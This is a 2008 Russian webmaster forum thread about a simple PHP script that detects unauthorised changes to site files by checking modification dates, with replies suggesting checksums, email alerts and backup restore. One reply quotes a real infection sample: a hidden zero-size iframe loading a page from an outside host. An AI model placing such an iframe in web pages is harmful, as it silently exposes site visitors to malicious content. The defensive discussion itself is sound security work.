Форум SAPE.RU

Форум SAPE.RU (http://forum.sape.ru/index.php)
-   Разработка и сопровождение сайтов (http://forum.sape.ru/forumdisplay.php?f=29)
-   -   Скрипт для "защиты" сайта от вирусов (http://forum.sape.ru/showthread.php?t=17932)

D.iK.iJ 12.09.2008 12:09

Скрипт для "защиты" сайта от вирусов
 
D.iK.iJ - AntiWorm © версия 2.0 (архив 5 КБ)
Скрипт помогает защититься от вирусов на сайте.
Проверяет файлы на дату изменения.
Если файл вдруг был изменен без участия пользователя, выводится предупреждение.
Если файл изменил сам пользователь, нужно просто синхронизировать базу.


P.S. На странице - самый нижний скрипт. Распространяю бесплатно.

На моих сайтах скрипт установлен давно и с успехом работает. Единственное различие с данной версией - у меня установлена блокировка сайта при обнаружении каких-либо изменений без моего ведома.
Все желающие могут тестить. Может что-то хорошее подскажете...

Skvik 12.09.2008 15:14

Хочу внести 2 предложения по улучшению:

сделать так, чтобы при обнаружении изменения файла вебмастеру отсылалось письмо.

Сделать список для удаления файлов. Пример: встречал ещё такую штуку, вирь не только дописывает код в index.php, но и создает в корне файл index.htm, в результате чего при открытии сайта грузится левый index.htm с прописанными iframe. Т.е. другими словами чтобы скрипт проверял наличие подобного index.htm и убивал его при обнаружении.

D.iK.iJ 12.09.2008 15:32

Примечание:
 
Вредоносные скрипты на сайте очень часто располагаются на сайтах в виде Java скриптов или Фреймов.
Открывать такую странице через браузер - не безопасно для самого себя.
А вот через любой HTML анализатор - можно. И вполне удобно.

Кому нужно, вот мои.

Добавлено через 15 минут
Цитата:

Сообщение от Skvik (Сообщение 237282)
сделать так, чтобы при обнаружении изменения файла вебмастеру отсылалось письмо.

С отправкой письма все очень просто. Достаточно в скрипт (файл avto.php) добавить при обнаружении изменений код
(после строки print "<font color='green'>OK!</font>";):
PHP код:

// Настройки для отправки писем
$sender=""//Кто отправитель - имя
$backmail=""//Обратный E-mail
$mail=""//Куда отправить письмо - E-mail
$tema=""//Тема письма
$text=""//Текст письма
$headers=null;
$headers.="Content-Type: text/plain; charset=windows-1251\r\n";
$headers.="From: ".$sender." <".$backmail.">\r\n";
$headers.="Reply-To: ".$sender." <".$backmail.">\r\n";
$headers.="X-Mailer: PHP/".phpversion()."\r\n";
mail($mail$tema$text$headers); 

Думаю, переменные сможете заполнить и сами.

Подводный камень: от, отправляющий письма с сайта нужно занести в белый список.
Подводный камень 2: При обнаружении изменения, скрипт не блокируется на день.
Это значит, что при каждой загрузке проверочной страницы Вам будет приходить письмо => таких писемможет быть очень и очень много.


Цитата:

Сообщение от Skvik (Сообщение 237282)
Сделать список для удаления файлов. Пример: встречал ещё такую штуку, вирь не только дописывает код в index.php, но и создает в корне файл index.htm, в результате чего при открытии сайта грузится левый index.htm с прописанными iframe. Т.е. другими словами чтобы скрипт проверял наличие подобного index.htm и убивал его при обнаружении.

С этим сложнее. Если сайт полностью статический и в програму занесены ВСЕ файлы сайта, то вычислить посторонние еще можно.
На динамическом же сайте многие файлы создаются или меняются скриптами...
И они априори будут в зоне риска :(

Skvik 12.09.2008 15:36

Цитата:

Сообщение от D.iK.iJ (Сообщение 237284)
С этим сложнее. Если сайт полностью статический и в програму занесены ВСЕ файлы сайта, то вычислить посторонние еще можно.
На динамическом же сайте многие файлы создаются или меняются скриптами...
И они априори будут в зоне риска

Согласен. Но можно просто сделать второй список в котором будет то, что надо удалить при обнаружении. Т.е. если в корне сайта должен быть только index.php, то чтобы все остальные index.* удалялись..

zhegloff 12.09.2008 15:39

Цитата:

Сообщение от Skvik (Сообщение 237282)
встречал ещё такую штуку, вирь не только дописывает код в index.php, но и создает в корне файл index.htm, в результате чего при открытии сайта грузится левый index.htm с прописанными iframe. Т.е. другими словами чтобы скрипт проверял наличие подобного index.htm и убивал его при обнаружении.

Ну так сделайте индексной страницей только index.php, тогда index.htm грузи не грузи - толку ноль будет.

D.iK.iJ 12.09.2008 15:55

Цитата:

Сообщение от zhegloff (Сообщение 237307)
Ну так сделайте индексной страницей только index.php, тогда index.htm грузи не грузи - толку ноль будет.

Это прописывается в хитачес.

О!!! В программе вбейте в базу все индексы: index.php index.html и так далее...
А в дату изменения поставьте любую "левую" дату.
Тогда если файл появится, программа выдаст ошибку - что данный файл был изменен.

Вуаля - вам придет предупреждение.

Добавлено через 3 минуты
Пример для config.dat:
/index.php|01.01.70|
/index.html|01.01.70|
/index.htm|01.01.70|
/index.xhtml|01.01.70|

Не забудьте оставить последнюю строчку пустой.

Skvik 12.09.2008 16:26

Цитата:

Сообщение от D.iK.iJ (Сообщение 237316)
Вуаля - вам придет предупреждение.

Плюсануть бы Вам репутацию, да больше пока не плюсуется)))))))
Спасибо!

zhegloff 12.09.2008 16:28

Цитата:

Сообщение от D.iK.iJ (Сообщение 237316)
Это прописывается в хитачес.

Ну да и скриптов не нада никаких, процессор не кушается :)

Regent 12.09.2008 18:09

Спасибо, на днях испробую :)

D.iK.iJ 13.09.2008 11:54

Цитата:

Сообщение от Regent (Сообщение 237407)
Спасибо, на днях испробую :)

Буду рад узнать результаты

D.iK.iJ 13.09.2008 13:29

Буду ждать результатов :)
Вроде бы PHP скрипт достаточно простой...

Dima1151 15.09.2008 09:42

удалить

Добавлено через 13 минут
НЕТ /index.php
NO
OK
OK
OK
OK
НЕТ /go.php
NO
OK
OK
OK
OK

/index.php
|01.01.70|
|15.09.08|
|15.09.08|
|15.09.08|
|15.09.08|
/go.php
|01.01.70|
|15.09.08|
|15.09.08|
|15.09.08|
|15.09.08|

Откуда берется |01.01.70|
Почему пишет НЕТ /**.php
И вообще что он проверяет я не пойму... скрипт расположден в папке /antiworm/
он проверяет корневой каталог?

shadx 15.09.2008 10:04

можете скинуть пару примеров, зараженных участков кода.
Я вечером - ночью напишу скрипт ;)
Идея есть интересная )))
Просто у мну уже давно сайты не заражаются

Dima1151 15.09.2008 10:08

Цитата:

Сообщение от shadx (Сообщение 239325)
можете скинуть пару примеров, зараженных участков кода.

<iframe src="http://orentraff.cn/in.cgi?8" width="0" height="0" style="display:none"></iframe>

Задолбало это :mad:

D.iK.iJ 15.09.2008 13:51

Цитата:

Сообщение от Dima1151 (Сообщение 239299)
Откуда берется |01.01.70|
Почему пишет НЕТ /**.php
И вообще что он проверяет я не пойму... скрипт расположден в папке /antiworm/
он проверяет корневой каталог?

Давайте начнем с самого начала.
В папке /antiworm/ есть файл config.dat, который нужно открыть в Блокноте.
В файле вот такие пять строк:
Цитата:

/index.php|01.01.70|
/index.html|01.01.70|
/index.htm|01.01.70|
/index.xhtml|01.01.70|
(тут - пустая строка)
Это - база страниц, по которой скрипт будет проверять дату изменения этих самых страниц.
Пока в базу занесен просто шаблон - проверка нескольких возможных индексных файлов в корне. А так как синхронизация еще не проводилась и дата изменения ваших файлов не известна, то вместо нее записано |01.01.70| - первое января 70 года :)

Соответственно, чтобы скрипт начал проверять Ваши файлы, измените список на свой. Пример:
Цитата:

/index.php|01.01.70|
/admin/index.html|01.01.70|
/sape/******/index.php|01.01.70|
/antiworm/avto.php|01.01.70|
(тут - пустая строка)
После того, как нажмете на кнопочку синхронизации, вместо |01.01.70| в базу будет записана реальная дата изменения того или иного файла.
Соответственно, если файл вдруг изменится без вашего ведома - велика вероятность, что это сделал вирус.

Немного по сообщениям:
НЕТ - файла нет
OK - дата изменения совпадает с хранящейся в базе
NO - дата изменения файла не совпадает с базой.

Кнопка синхронизации служит для того, чтобы обновить даты в базе. Например, после того, как вы сами изменили какой-то файл.
Кнопки ON и OFF, думаю, интуитивно понятны.

Dima1151 15.09.2008 16:17

D.iK.iJ
Спасибо, теперь всё работает :)

Добавлено через 6 минут
А проверка по времени файла нет? По дате файла не очень... время нужно... Вот проверка по md5 другое дело или crc32 ... да и каталоги бы проверял на появление новых файлов... можно?

Добавлено через 1 час 9 минут
Если какие то файлы из папки не прописаны нужно чтоб скрипт выдавал "неизввестный файл" и все файлы нужно проверять по md5... ща в этом скрипте толку очень мало Имхо...

slavs™ 15.09.2008 16:19

Цитата:

Сообщение от Dima1151 (Сообщение 239562)
D.iK.iJ
Спасибо, теперь всё работает :)

Добавлено через 6 минут
А проверка по времени файла нет? По дате файла не очень... время нужно... Вот проверка по md5 другое дело или crc32 ... да и каталоги бы проверял на появление новых файлов... можно?

Добавлено через 1 час 9 минут
Если какие то файлы из папки не прописаны нужно чтоб скрипт выдавал "неизввестный файл" и все файлы нужно проверять по md5... ща в этом скрипте толку очень мало Имхо...

У скрипта совершенно другое предназначение. Он просто должен сообщить о вторжении и все.

D.iK.iJ 15.09.2008 17:13

Цитата:

Сообщение от slavs™ (Сообщение 239635)
У скрипта совершенно другое предназначение. Он просто должен сообщить о вторжении и все.

Действительно.
Когда пароли крали у меня, я в первую очередь жалел, что не сразу заметил приписку к коду в виде виря. (Хотя банально изменили только index.php.) И кто-то из зашедших на сайт пользователей мог подхватить на свой комп тот же вирус :(

А чтобы файл проверялся не только на дату, но и на время создания, думаю, нужно просто изменить:

$add=date("d.m.y",filemtime($_SERVER['DOCUMENT_ROOT']. "$dt[0]"));
$nastdate=date("d.m.y");


И подобные строки на то, что нужно именно вам ;)

D.iK.iJ 22.10.2008 12:28

АП! :D

DNA 23.10.2008 13:25

PHP код:

if(filesize('file.php')!=$filesize)
{
    @
copy('bpath/file-dist.php''file.php');



D.iK.iJ 24.10.2008 19:36

Цитата:

Сообщение от DNA (Сообщение 287970)
PHP код:

if(filesize('file.php')!=$filesize)
{
    @
copy('bpath/file-dist.php''file.php');



Если бы я в этом еще что-то понимал... :D
Есть у кого-нибудь PHP для чайников? Объясните мне плиз, что делает этот код! (Я вполне серьезно). :p

ahsinis 24.10.2008 19:54

Видимо это намек, чтобы скрип проверял оригинальный размер файла и и автоматически восстанавливал файл из бекапа.

D.iK.iJ 24.10.2008 20:00

Цитата:

Сообщение от ahsinis (Сообщение 289367)
Видимо это намек, чтобы скрип проверял оригинальный размер файла и и автоматически восстанавливал файл из бекапа.

А, спасибо :)
Исходя из того, что я учил PHP по WR скриптам, мои познания в нем что-то не очень велики ;)
А учитывая, что у меня на хостинге всего 50 "метров", вопрос с бекапом отменяется "автоматически".
Да и нормальный кодер на PHP напишет скрипт в разы лучше :rolleyes:

DNA 24.10.2008 20:22

Цитата:

Сообщение от D.iK.iJ (Сообщение 289374)
А, спасибо :)
Исходя из того, что я учил PHP по WR скриптам, мои познания в нем что-то не очень велики ;)
А учитывая, что у меня на хостинге всего 50 "метров", вопрос с бекапом отменяется "автоматически".
Да и нормальный кодер на PHP напишет скрипт в разы лучше :rolleyes:

Ну, может другим пригодится) Да и чаще всего заражаются только индексные файлы ;)

D.iK.iJ 24.10.2008 20:24

Цитата:

Сообщение от DNA (Сообщение 289395)
Ну, может другим пригодится) Да и чаще всего заражаются только индексные файлы ;)

Конечно пригодится!
Я вот что-то новое узнал о PHP ;)

ahsinis 24.10.2008 21:00

Цитата:

Сообщение от D.iK.iJ (Сообщение 289374)
... я учил PHP по WR скриптам...

[OFFTOP]а что такое WR скрипы? :rolleyes:[/OFFTOP]

D.iK.iJ 24.10.2008 21:21

Цитата:

Сообщение от ahsinis (Сообщение 289421)
[OFFTOP]а что такое WR скрипы? :rolleyes:[/OFFTOP]

Я по ним учу (и учил PHP) http://www.wr-script.ru/ (не сочтите за рекламу, сам наткнулся в Сети случайно).
Просто устанавливаю на сайт... а потом постепенно дорабатываю под себя. И в какой-то момент просто переписываю код заново :rolleyes:ъ
Так вот учусь разбираться в PHP.

Saturn 03.11.2008 11:22

тогда мот лучше не размер и/или время в базу вносить, а checksum через crc32()?
http://www.php.net/crc32

ещё если сайтов много, можно сделать для всех сайтов один скрипт проверки:
- заносим в БД (на том сервере, где скрипт) изначальные данные файлов каждого сайта
- коннектимся по FTP (на php реализуемо просто), проверяем данные
- если что-то изменилось, отправляем письмо админу нужного сайта (или одному админу всех сайтов), чтобы проверил, всё ли ок

Плюсы:
- если сайт ломанули, то не факт, что будет работать mail() в php (при взломе могут рассылать спам с этого сервера и хостер может автоматом отключать отправку почты для взломанного сайта), а вот FTP будет работать.
- всё в одном месте => не надо бегать по всем сайтам.
- поставить на cron и проверять все сайты раз в день (ночью например) или пару раз в день
и так далее...

DNA 03.11.2008 14:14

Цитата:

Сообщение от Saturn (Сообщение 297796)
...

Способ предложенный вами хорош, но это уже совершенно другой уровень защиты сайта и, как следствие, совершенно другие трудозатраты. Безусловно для некоторых серьезных проектов нужна защита, гораздо более надежная, чем простая проверка crc/size/time, однако для большинства небольших сайтов вполне достаточно и этого. Всё индивидуально вобщем)

А crc мне не подошло, поскольку не реально вставить в файл функцию самовосстановления этого самого файла путем сравнивая crc/md5 и прочего :)

Saturn 03.11.2008 14:22

ну конечно всё индивидуально. просто предложил развить идею - вот и всё ;-)

Goldragon 03.11.2008 14:33

Цитата:

Сообщение от DNA (Сообщение 287970)
PHP код:

if(filesize('file.php')!=$filesize)
{
    @
copy('bpath/file-dist.php''file.php');



Цитата:

Сообщение от D.iK.iJ (Сообщение 289374)
А учитывая, что у меня на хостинге всего 50 "метров", вопрос с бекапом отменяется "автоматически".
Да и нормальный кодер на PHP напишет скрипт в разы лучше :rolleyes:

Тут вроде восстанавливается только один файл, сохраненный где нибуть как бекап.

D.iK.iJ 03.11.2008 14:54

Цитата:

Сообщение от Goldragon (Сообщение 297937)
Тут вроде восстанавливается только один файл, сохраненный где нибуть как бекап.

Да, но функция проверки в скрипте предполагает цикл. Следовательно, восстанавливать придется все поврежденные файлы... ну, или немного переделать скрипт. :)
К тому же, где хранить бекап так, чтобы он был в безопасности? :confused:

В скрипте можно добавить код для блокирования сайта при обнаружении "неполадок" с файлами. Допустим, через изменение файла .htaccess.
Пример блокировки PHP файлов:
Цитата:

<files *.php>
Order allow,deny
deny from all
</files>
Также можно блокировать только один файл. :)


Часовой пояс GMT +3, время: 05:46.

Работает на vBulletin® версия 3.8.7.
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Перевод: zCarot
SAPE.RU — система купли-продажи ссылок с главных и внутренних страниц сайтов.